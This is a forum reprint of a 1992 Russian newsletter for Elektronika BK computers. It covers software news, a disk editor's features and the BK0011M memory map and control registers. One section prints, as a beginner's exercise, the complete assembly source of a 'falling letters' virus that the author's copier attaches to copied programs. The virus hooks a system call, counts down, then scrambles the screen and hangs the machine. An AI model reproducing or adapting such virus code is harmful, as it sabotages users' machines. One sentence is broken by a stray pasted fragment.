-=RUS=- | Дата: Воскресенье, 24.08.2014, 03:49 | Сообщение # 1 |
 Генералиссимус
Группа: Администраторы
Сообщений: 352
Статус: Offline
| © © MKT corp. Times N10 01-Oct-92 ┌═════════════════════════════════════════════════════════════┐ ║ ║ ║ /▓▓▓▓▓▓▓▓▓▓ /▓▓ ║ ║ ▓ /▓▓ /▓ / / ║ ║ // ▓▓ // /▓▓▓ /▓▓ /▓▓ /▓▓▓▓▓ /▓▓▓▓▓▓▓ ║ ║ ▓▓ //▓▓ ▓▓▓▓▓▓▓ /▓▓▓ /▓▓▓ ▓▓ / ║ ║ ▓▓ ▓▓ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ //▓▓▓▓▓ ║ ║ ▓▓ ▓▓ ▓▓ ▓ ▓▓ ▓▓ / / /▓▓ ║ ║ /▓▓▓▓ /▓▓▓▓ ▓▓// ▓▓ //▓▓▓▓▓▓ /▓▓▓▓▓▓/ ║ ║ / / / / / / / / / / / / ║ ║ ║ ║ Рекламно-информационный бюллетень БК-"Times" N10 ║ └═════════════════════════════════════════════════════════════┘ Октябрь 1992г.
"Бюллетень БК Times" Королев Михаил. телефон 499-41-06 Также встретится со мной можно в клубе БК.
СЕГОДНЯ В НОМЕРЕ: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - Новости. - Это интересно. - Программисту. Обмен опытом. - Все о БК0011м - Объявления.
*************************
НОВОСТИ. ¯¯¯¯¯¯¯¯ К системе ANDOS v2.23 вышел коммандер-оболочка "БК-SHELL" (файл SHELL8 для ОЗУ 8к и SHELL16 для 16к), написанный неизвестной, пока, фирмой BAL corp. Оболочка выглядит весьма эффектно, особенно на цветном мониторе (все надписи прекрасно читаются). Обещанный же двухоконный коммандер Надежина и Романова выйдет вместе с системой v3.0, или чуть позже.
Все к той же ANDOS v2.23 фирмой GASP (С. Петербург) выпущена утилитка - ЭЛЕКТРОННЫЙ ДИСК для БК11(м). Основные параметры : Полная емкость:........ 73.5 Кбайт или 147 блоков; Полезная емкость:...... 33 кластера. Такое количество памяти позволяет хранить 4 программы по 16Кбайт, что делает его привлекательным для использования в качестве рабочего. Быстрый доступ, простота в пользовании - вот его главные удобства. В отличие от системы NORD by Прудковский используются 5 страниц памяти а не две.
Фирмой RDC сделана программа TRD-COPY - дисковая программа для перегонки графики, в обе стороны на ZX-SPECTRUM в формате TR-DOS, программа позволяет, также просто копировать файлы без изменений в обе стороны, записывать БК-шные картинки на диски синклера, в автоматическом режиме искать спрайты в синклеровских программах и записывать их на БК в форматах редакторов ANIMATIC и MULTIPAINT. Кстати RDC сделал плавную читалку для текстов на 25 строк, с форматом текста совместимым с READER9, но без вставки управляющих кодов, на что можно было бы и сослаться.
ЭТО ИНТЕРЕСНО (а может и нет) ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ МКТ (то есть автор этих строк), практически закончил програм- му DESS v1.0, он выйдет в течении ближайших двух недель. Версия же x0.6, как рекламная с успехом продается под смехотворные проценты в компьютерном центре на ст.М. Октябрьская (ул.Донская д.6). DESS v1.0 (с защитой) будет скорее всего поставляться в комплекте системы ANDOS v3.0, рознично продаваться только в техническом центре "БК-Сервис" фирмы Altec, что у метро Китай-город, (Подкопаевский пер. д.7 комн.10) под проценты автору, от других же торгующих организаций автор принимает заказы на разовую покупку тиражирующийся программы (также с защитой) по цене 5 тыс.руб.
Возможности программы DESS x0.9: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ - занести число в ячейку - ввести строку символов - плюс/минус число к содержимому ячейки - ввод байта (только в поле символов) - вверх/вниз на 400 байт - поставить метку - поменять курсор с меткой - переход по адресу - выбор блока (0-3100) - выбор устройства (0-3) - выход из программы - аварийный выход из программы - Help (инструкция) - скопировать блок на: [-D-]evice, [-B-]lock - записать блок на диск - ввести мнемонику ассемблера - задать модель поиска: [-W-]ord - слова [-B-]yte - байта [-A-]scii - строки символов - поиск модели, КТ - остановить - вид дополнительной информации: [-B-]inary - двоичная [-D-]ecimal - десятичная (умолч.) [-O-]ctal - восьмеричная
В поле символов дополнительная информация выводится только о байте. Все вводимые числа - восьмеричные по умолчанию, если в конце стоит точка '.' - десятичное, если 'B' - двоичное. В случае ошибки выдается сообщение, любая клавиша - повторить операцию, [-I-]gnore - игнорировать. В версии 1.0 набор функций будет расширен. Программа работает во всех операционных системах на БК10(11), если же у ВАС операционная система ANDOS, и вставленный диск тоже ANDOSовский, о чем программа узнает сама, то происходит автоматическая настройка на формат записи (40/80 дорожек, 1/2 стороны), если есть электронный диск, то поддерживается работа и с ним. Внешний вид: ¯¯¯¯¯¯¯¯¯¯¯¯ DESS x0.9 Blk:000240/00160. Adr:000000 Binary:0010100000000000
000000)000000 000000 000000 000000 000000 000000║............║ 000014)000000 000000 000000 000000 000000 000000║............║ . . . . . . 000744)000000 000000 000000 000000 000000 000000║............║ 000760)000000 000000 000000 000000 000000 000000║............║ 000774)000000 000000 000000 000000 000000 000000║............║ Exit? ¯¯¯¯¯ Macro-11: HALT
ОБМЕН ОПЫТОМ. ¯¯¯¯¯¯¯¯¯¯¯¯¯ Новичкам об ассемблере.
Здесь приводится ассемблерный текст вируса падающих букв, подшиваемого копировщиком CF47V by MKT, блок собственно буквМесто для формулы.опада дается намеренно без комментариев, если Вы новичок в ассемблере то постарайтесь сами разобраться как он работает, так как хороших учебников по ассемблеру нет, то придется учится и совершенствоваться разбором чужих, для начала несложных, программ. Лучше всего это делать с помощью какого-нибудь "MIRAGE-подобного отладчика" - MIRAGE, MIR26, OS0010, OS-91D...
VIRUS: MOV PC,R1 ;вычисление фактич.адреса метки D MOV @#30,10(R1) ;(для перемещаемости) BR 0 D: .WORD 100112 0: ADD #32,R1 ;вычисление факт.адр. MOV R1,@#30 ;EMT диспетчера MOV R1,A EMT 14 JMP: JMP @#1000 ;возврат MOV R5,-(SP) MOV 2(SP),R5 MOV -(R5),R5 CMP #104014,R5 ;если EMT14 BEQ B ;переход на имитацию MOV (SP)+,R5 ;любая другая - проверка на исчерпание CMP @#76,#4 ;ресурса счетчика и переход на вирус BEQ 1 DEC @#76 ;уменьшить содержание счетчика на 1 JMP @D ;обработать EMT ;Собственно вирус 1: MOV #1330,@#177664 ;уст.40000 в начало экрана MOV PC,R1 ADD (PC)+,R1 ;вычисление факт.адреса .WORD @STOP+2 ;обработки кл.СТОП MOV #77700,R1 ;уст.нач адреса опроса 2: TSTB (R1) BEQ 5 MOV #300,R0 3: SOB R0,3 MOVB (R1),R0 TSTB 100(R1) BNE 5 CLRB (R1) MOV R1,R2 ADD #100,R1 MOVB R0,(R1) CMP R1,#77600 BGE 5 4: SUB #100,R2 CMP R2,#40000 BLOS 2 TSTB (R2) BEQ 2 MOVB (R2),100(R2) CLRB (R2) BR 4 5: SUB #100,R1 CMP R1,#40000 BGE 2 INC R1 ADD #37700,R1 BR 2 STOP: MOV #14747,@#37776 ;зависание по клавише СТОП JMP @#37776 A: HALT B: MOV (SP)+,R5 ;имитация EMT 14 CALL @#100140 MOV #4500,@#76 MOV A,@#30 RTI .END
ВСЕ О БК0011. ¯¯¯¯¯¯¯¯¯¯¯¯¯ В последнее время все большее распространение получает ПЭВМ "Электроника БК0011М" (а также неудавшийся ее собрат БК0011). Многие пользователи и программисты используют ее лишь как эмулятор БК0010 с большим объемом ОЗУ, мало зная о возможностях машины. А возможности ее огромны. Ну во первых на ней работает операционная система ОС-БК11 V4.0, полностью соответствующая системе RT11 v5.4, тв есть "родная" система DEC-машин к каковым относится БК, следовательно пользователь получает возможность пользоваться огромным банком программного обеспечения, накопленного в мире для DEC-ЭВМ под ОС RT11. Это множество языков программирования - BASIC, PASCAL, C, PROLOG, FORTRAN, FOCAL, MACROASSEMBLER, и мн. др., мощнейшие редакторы текстов, базы данных, и множество других полезных программ. Также БК11 относится и к семейству БК, поэтому на ней можно эмулировать БК0010(01) и работать с программами написанными для нее. Распределение адресного пространства ЭВМ БК0011м. Виртуальное адресное пространство ЭВМ определяется возможностями процессора К1801ВМ1 составляет 64К байт. Переключение страниц ОЗУ/ПЗУ осуществляется програмно с использованием системного регистра ЭВМ. Следует обратить внимание, что каждая страница ОЗУ может быть одновременно подключена к двум окнам.
АДРЕСНОЕ ПРОСТРАНСТВО: ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ┌─────────┐┌────────┐┌────────┐┌────────┬─────────┬─────────┐ │стр ОЗУ 0│| окно 0 || окно 1 |│Сист.ПЗУ│ПЗУ КНГМД│ р-ры ВУ │ └─────────┘└────────┘└────────┘└────────┴─────────┴─────────┘ 0 40000 100000 140000 160000 177600
В пространстве 0-40000 лежит страница ОЗУ 0, отсюда она не отключается, хотя может быть параллельно подключена в любое из окон. 40000-100000 окно 0 для подключения страниц ОЗУ 0-7. 100000-140000 окно 1 для подключения страниц ОЗУ 0-7 и страниц ПЗУ 11 и 12.
Две страницы ОЗУ 5 и 6 являются буферами графического дисплея. Один из буферов постоянно отображен на экране. Страница 5 является буфером экрана 0, а страница 6 - буфером 1. Страница ПЗУ 11 включает в себя ПЗУ Бейсика, страница 12 - страница ПЗУ пользователя (съемный отсек).
Регистр управления палитрами. ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Адрес - 177662 Доступность: запись ┌──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┐ │15│14│13│12│11│10│09│08│07│06│05│04│03│02│01│00│ └──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘ ↑ ↑ ↑ ↑ │ │ └───────────┘ │ │ код палитры │ │ │ └─ управление таймером └── управление буфером экрана
Разряд 15 - управляет отображением буферов экрана. При значении 0 отображается буфер 0, при 1 - буфер 1.
Разряд 14 - управляет включением системного таймера. При значении 0 таймер включен, при 1 - выключен. Таймер работает по прерыванию, поэтому во избежании неправильной работы программ не следует его включать, в частности не следует заносить что-либо в регистр командой BIS (BIC), т.к. при их выполнении сначала происходит чтение, а затем запись в регистр, но по чтению по этому адресу находится регистр данных клавиатуры.
Разряды 11-8 - в эти разряды заносится четырехбитный (0..15) код палитры, которая задает кодировку цветов на экране в режиме 256 точек/строку.
Регистр управления памятью. ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Адрес - 177716 Доступность: запись ┌──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┐ │15│14│13│12│11│10│09│08│07│06│05│04│03│02│01│00│ └──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ └───────┘ │ └────────┘ │ │ │ │ окно 0 │ окно 1 └──┴─────┴──┤ │ │ └─ разрешение записи в регистр │ │ разрешение работы страниц ПЗУ ───────┘
Разряды 14-12 - трехбитная кодировка номера страницы ОЗУ, подключаемой к окну 1 (40000-100000), см. ниже.
Разряд 11 - должен содержать 1, в противном случае по записи по этому адресу стоит регистр управления магнитофоном.
Разряды 10-8 - кодировка номера страницы ОЗУ, подключаемой к окну 1 (100000-140000).
Разряд 4 - Разрешает подключение к адресному пространству 100000-140000 (окно1) страницы ПЗУ N3, отключает страницу ОЗУ с соответствующих адресов. Страница ПЗУ пользователя.
Разряд 3 - Разрешает подключение к окну 1 страницы ПЗУ N2, отключает страницу ОЗУ. ПЗУ драйвера локальной сети.
Разряд 1 - Разрешает подключение к окну 1 страницы ПЗУ N1, отключает страницу ОЗУ. 8к-Бейсик + 8к монитор.
Разряд 0 - Разрешает подключение к окну 1 страницы ПЗУ N0, отключает страницу ОЗУ. ПЗУ Бейсика.
Кодировка переключаемых страниц ОЗУ: БИТ 14 13 12 (10) (9) (8)
1 1 0 страница 0 (постоянно отображена 0..40000) 0 0 0 страница 1 0 1 0 страница 2 0 1 1 страница 3 1 0 0 страница 4 0 0 1 страница 5 (буфер экрана 0) 1 1 1 страница 6 (буфер экрана 1) 1 0 1 страница 7 (системная страница)
|
|
| |